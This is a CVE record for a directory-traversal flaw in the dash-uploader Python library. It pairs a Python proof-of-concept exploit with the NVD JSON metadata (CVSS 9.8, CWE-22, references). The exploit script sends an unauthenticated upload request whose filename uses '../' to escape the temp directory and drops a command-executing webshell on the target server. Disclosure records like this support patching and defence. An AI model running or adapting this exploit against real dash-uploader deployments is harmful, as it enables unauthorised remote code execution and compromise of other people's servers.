CVE-2026-38360

import requests # Target URL example (depends on deployment) target_url = "http://target-host:8050/_dash-upload" # Malicious content to be uploaded malicious_content = "<% eval request['cmd'] %>" # Example webshell content # Exploit the directory traversal in dash_uploader/httprequesthandler.py # Using '../' to escape the intended temp directory payload_filename = "../../uploads/exploit.jsp" files = { 'file': (payload_filename, malicious_content, 'application/octet-stream') } try: # Send the malicious POST request (No Authentication required) response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] PoC request sent successfully.") print("[+] Check if the file was written outside the temp root.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-38360", "sourceIdentifier": "[email protected]", "published": "2026-05-08T17:16:30.380", "lastModified": "2026-05-08T19:16:30.907", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directory Traversal vulnerability in fohrloop dash-uploader v.0.1.0 through v.0.7.0a2 allows a remote attacker to execute arbitrary code via the dash_uploader/httprequesthandler.py, aseHttpRequestHandler.get_temp_root(), BaseHttpRequestHandler._post() components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/a1ohadance/CVE-2026-38360", "source": "[email protected]"}, {"url": "https://github.com/fohrloop/dash-uploader", "source": "[email protected]"}, {"url": "https://github.com/fohrloop/dash-uploader/blob/dev/dash_uploader/httprequesthandler.py", "source": "[email protected]"}, {"url": "https://github.com/fohrloop/dash-uploader/blob/stable/dash_uploader/httprequesthandler.py", "source": "[email protected]"}, {"url": "https://github.com/fohrloop/dash-uploader/issues/153", "source": "[email protected]"}, {"url": "https://pypi.org/project/dash-uploader/", "source": "[email protected]"}]}}